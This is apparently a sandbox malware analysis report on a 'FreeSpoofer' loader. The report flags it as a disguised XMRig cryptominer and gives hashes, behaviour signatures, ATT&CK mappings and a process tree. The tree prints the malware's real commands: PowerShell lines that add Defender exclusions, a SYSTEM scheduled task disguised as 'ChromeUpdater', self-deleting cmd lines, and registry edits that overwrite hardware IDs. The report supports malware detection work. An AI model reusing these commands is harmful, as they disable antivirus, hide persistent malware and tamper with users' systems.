Overview

overview

10

Static

static

3

FreeSpoofe...er.exe

windows7-x64

10

FreeSpoofe...er.exe

windows10-2004-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    18-11-2024 17:48

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    FreeSpoofer/Loader.exe

  • Size

    26.4MB

  • MD5

    aec49804a232eb45a7cf41e2dfef37fc

  • SHA1

    5cedbd522c3c40305f6d656f57edf9b6a89d7e21

  • SHA256

    deb7985a8f9a56f2dcbfdd4c5fa4732daad89ce82733818915f3a4e07c2d3b09

  • SHA512

    ad9cf94db9a109e0f3a191169025c4f5ec86aca68937c373380dcb84c728b5817bf5e7bee8eea47b7cb82f5415234ab08a53f26030a5573d574477571f3a3d3d

  • SSDEEP

    786432:pfjx8ZSLqcnnTNPefii+ydGI5mM3y9nEDQ:pfadJy9nQQ

Score
10/10
xmrigdiscoveryevasionexecutionminerpersistence

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    evasion
  • XMRig Miner payload 10 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 2 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 6 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 21 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Enumerates system info in registry 2 TTPs 38 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1228
      • C:\Users\Admin\AppData\Local\Temp\FreeSpoofer\Loader.exe
        "C:\Users\Admin\AppData\Local\Temp\FreeSpoofer\Loader.exe"
        2⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Maps connected drives based on registry
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2288
        • C:\Windows\Cursors\HwTEknTZffvlUbHxuLDNsrZCQIGbvd.exe
          "C:\Windows\Cursors\HwTEknTZffvlUbHxuLDNsrZCQIGbvd.exe" C:\Windows\SoftwareDistribution\Download\lmPSqyuhFhCTtppmzwJiYUsDQWRnbg.sys
          3⤵
          • Sets service image path in registry
          • Executes dropped EXE
          • Suspicious behavior: LoadsDriver
          • Suspicious use of AdjustPrivilegeToken
          PID:2812
        • C:\Windows\SoftwareDistribution\Download\eBpJzEJRzzexfqXgMaVGflvRQuMBTh.exe
          "C:\Windows\SoftwareDistribution\Download\eBpJzEJRzzexfqXgMaVGflvRQuMBTh.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2600
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\smchyip.bat""
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /v MachineGuid /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2020
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0001" /v HwProfileGuid /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1468
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v BuildGUID /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:320
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e967-e325-11ce-bfc1-08002be10318}\Configuration\Variables\BusDeviceDesc" /v PropertyGuid /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1724
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\Configuration\Variables\DeviceDesc" /v PropertyGuid /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2284
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\Configuration\Variables\Driver" /v PropertyGuid /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1660
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v ComputerHardwareId /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1912
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v ProductId /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1900
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SYSTEM\HardwareConfig" /v LastConfig /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1824
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\System\CurrentControlSet\Control\WMI\Security" /v 671a8285-4edb-4cae-99fe-69a15c48c0bc /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:988
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v SusClientId /t REG_SZ /d f5220d13-4a64-40b0-b684-de582dd0245d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1700
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\NVIDIA Corporation\Global\CoProcManager" /v ChipsetMatchID /t REG_SZ /d 4B9DFEFD1407B10C /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:328
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:2860
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0" /v Identifier /t REG_SZ /d 9613114-8d2abece-A /f
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1708
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\1"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1896
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\2"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1676
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\3"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:2900
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\4"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1972
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\5"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1496
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\6"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:2044
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\7"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1796
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\8"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:2168
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\9"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:2648
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi" 2>nul
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2232
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2400
        • C:\ProgramData\Microsoft\FZqXSDfqiqeKiuWMMtpFNFZLsGXtEr.exe
          "C:\ProgramData\Microsoft\FZqXSDfqiqeKiuWMMtpFNFZLsGXtEr.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2944
        • C:\Users\Admin\AppData\Local\Microsoft\ccOxsQVCyPPfMrkxWfrfMnLsWPgAte.exe
          "C:\Users\Admin\AppData\Local\Microsoft\ccOxsQVCyPPfMrkxWfrfMnLsWPgAte.exe" C:\Users\Admin\AppData\Local\Microsoft\tyiylPcxklhZAVjKpERcvWbMoQWacj.sys
          3⤵
          • Sets service image path in registry
          • Executes dropped EXE
          • Suspicious behavior: LoadsDriver
          • Suspicious use of AdjustPrivilegeToken
          PID:2360
        • C:\Users\Admin\AppData\Local\Microsoft\JTqVhdsyithHueOLWnFrwbBdWWVJVs.exe
          "C:\Users\Admin\AppData\Local\Microsoft\JTqVhdsyithHueOLWnFrwbBdWWVJVs.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2752
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\dkrhbdc.bat""
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2780
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /v MachineGuid /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2720
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0001" /v HwProfileGuid /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2644
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v BuildGUID /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3008
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e967-e325-11ce-bfc1-08002be10318}\Configuration\Variables\BusDeviceDesc" /v PropertyGuid /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2264
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\Configuration\Variables\DeviceDesc" /v PropertyGuid /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2216
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\Configuration\Variables\Driver" /v PropertyGuid /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2736
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v ComputerHardwareId /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1572
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v ProductId /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1612
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SYSTEM\HardwareConfig" /v LastConfig /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2868
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\System\CurrentControlSet\Control\WMI\Security" /v 671a8285-4edb-4cae-99fe-69a15c48c0bc /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2960
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v SusClientId /t REG_SZ /d ae44ee00-6c6a-4d27-8fbb-2532fb025a0d /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1668
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\NVIDIA Corporation\Global\CoProcManager" /v ChipsetMatchID /t REG_SZ /d 89C9B7FCA98C0941 /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2552
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:2808
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0" /v Identifier /t REG_SZ /d 4841653-05866bce-A /f
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1616
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\1"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:3012
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\2"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1536
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\3"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1460
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\4"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:892
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\5"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:2816
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\6"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:964
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\7"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1664
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\8"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:772
            • C:\Windows\SysWOW64\reg.exe
              REG QUERY "HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\9"
              5⤵
              • System Location Discovery: System Language Discovery
              • Enumerates system info in registry
              PID:1440
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi" 2>nul
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1484
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2020
        • C:\ProgramData\UAQXFJzBgwFiiOPhiaEAmXsYiSNzKI.exe
          "C:\ProgramData\UAQXFJzBgwFiiOPhiaEAmXsYiSNzKI.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          PID:988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gdqir#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'ChromeUpdater' /tr '''C:\Program Files\Google\Chrome\ChromeUpdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ChromeUpdater' -User 'System' -RunLevel 'Highest' -Force; }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:408
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn ChromeUpdater /tr "'C:\Program Files\Google\Chrome\ChromeUpdater.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1608
      • C:\Windows\System32\schtasks.exe
        C:\Windows\System32\schtasks.exe /run /tn "ChromeUpdater"
        2⤵
          PID:1576
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\ProgramData\Microsoft\FZqXSDfqiqeKiuWMMtpFNFZLsGXtEr.exe"
          2⤵
            PID:612
            • C:\Windows\System32\choice.exe
              choice /C Y /N /D Y /T 3
              3⤵
                PID:700
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:768
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gdqir#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'ChromeUpdater' /tr '''C:\Program Files\Google\Chrome\ChromeUpdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ChromeUpdater' -User 'System' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:352
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn ChromeUpdater /tr "'C:\Program Files\Google\Chrome\ChromeUpdater.exe'"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2964
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:2204
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2504
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1604
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gdqir#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'ChromeUpdater' /tr '''C:\Program Files\Google\Chrome\ChromeUpdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ChromeUpdater' -User 'System' -RunLevel 'Highest' -Force; }
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1068
                • C:\Windows\system32\schtasks.exe
                  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn ChromeUpdater /tr "'C:\Program Files\Google\Chrome\ChromeUpdater.exe'"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2224
              • C:\Windows\System32\schtasks.exe
                C:\Windows\System32\schtasks.exe /run /tn "ChromeUpdater"
                2⤵
                  PID:2052
                • C:\Windows\System32\cmd.exe
                  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\ProgramData\UAQXFJzBgwFiiOPhiaEAmXsYiSNzKI.exe"
                  2⤵
                    PID:2376
                    • C:\Windows\System32\choice.exe
                      choice /C Y /N /D Y /T 3
                      3⤵
                        PID:2532
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1128
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gdqir#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'ChromeUpdater' /tr '''C:\Program Files\Google\Chrome\ChromeUpdater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\ChromeUpdater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'ChromeUpdater' -User 'System' -RunLevel 'Highest' -Force; }
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1032
                      • C:\Windows\system32\schtasks.exe
                        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn ChromeUpdater /tr "'C:\Program Files\Google\Chrome\ChromeUpdater.exe'"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1808
                  • C:\Windows\system32\taskeng.exe
                    taskeng.exe {F1BB6EF0-03E5-4C98-A873-19D458AD76E7} S-1-5-18:NT AUTHORITY\System:Service:
                    1⤵
                    • Loads dropped DLL
                    PID:2380
                    • C:\Program Files\Google\Chrome\ChromeUpdater.exe
                      "C:\Program Files\Google\Chrome\ChromeUpdater.exe"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Drops file in Program Files directory
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2940
                    • C:\Program Files\Google\Chrome\ChromeUpdater.exe
                      "C:\Program Files\Google\Chrome\ChromeUpdater.exe"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Executes dropped EXE
                      • Drops file in Program Files directory
                      PID:2388

                  Network

                  MITRE ATT&CK Enterprise v15

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  1
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Scheduled Task/Job

